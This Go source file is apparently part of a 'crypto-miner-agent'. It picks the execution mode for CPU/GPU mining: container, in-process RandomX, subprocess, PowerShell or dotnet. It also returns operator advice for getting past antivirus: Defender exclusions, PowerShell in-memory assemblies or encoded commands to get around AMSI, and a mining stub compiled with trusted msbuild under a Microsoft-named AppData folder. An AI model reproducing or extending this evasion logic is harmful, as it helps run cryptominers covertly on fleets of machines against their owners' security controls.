package miner import ( "strings" "crypto-miner-agent/config" ) // CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled). const ( ExecutionAuto = "auto" ExecutionContainer = "container" ExecutionInProcess = "inprocess" ExecutionSubprocess = "subprocess" ExecutionPowerShell = "powershell" ExecutionDotnet = "dotnet" ) // ContainerRuntimeInfo describes a detected OCI CLI (docker or podman). type ContainerRuntimeInfo struct { Available bool CLI string // "docker" or "podman" Version string } // RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector. var RuntimeDetector = DetectContainerRuntime // SetRuntimeDetector restores the default detector when fn is nil. func SetRuntimeDetector(fn func() ContainerRuntimeInfo) { if fn == nil { RuntimeDetector = DetectContainerRuntime return } RuntimeDetector = fn } // ResolveExecutionMode picks the effective miner execution path. // auto → container when a runtime is available, otherwise inprocess. func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) { runtime = RuntimeDetector() raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution)) switch raw { case "", ExecutionAuto: if runtime.Available { return ExecutionContainer, runtime } return ExecutionInProcess, runtime case ExecutionContainer: return ExecutionContainer, runtime case ExecutionInProcess: return ExecutionInProcess, runtime case ExecutionSubprocess: return ExecutionSubprocess, runtime case ExecutionPowerShell: return ExecutionPowerShell, runtime case ExecutionDotnet: return ExecutionDotnet, runtime default: if runtime.Available { return ExecutionContainer, runtime } return ExecutionInProcess, runtime } } // ContainerModeRequested reports whether forge/config asked for container isolation. func ContainerModeRequested(cfg config.RuntimeConfig) bool { raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution)) return raw == ExecutionContainer || raw == ExecutionAuto || raw == "" } // AVBlockRecommendation returns operator guidance when mining may be AV-blocked. func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string { switch mode { case ExecutionInProcess: return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0" case ExecutionContainer: if runtime.Available { return "Container mode isolates CPU mining but AV still scans docker.exe and image layers" } return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX" case ExecutionSubprocess: return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets" case ExecutionPowerShell: return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process" case ExecutionDotnet: return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process" default: if runtime.Available { return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs" } return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path" } }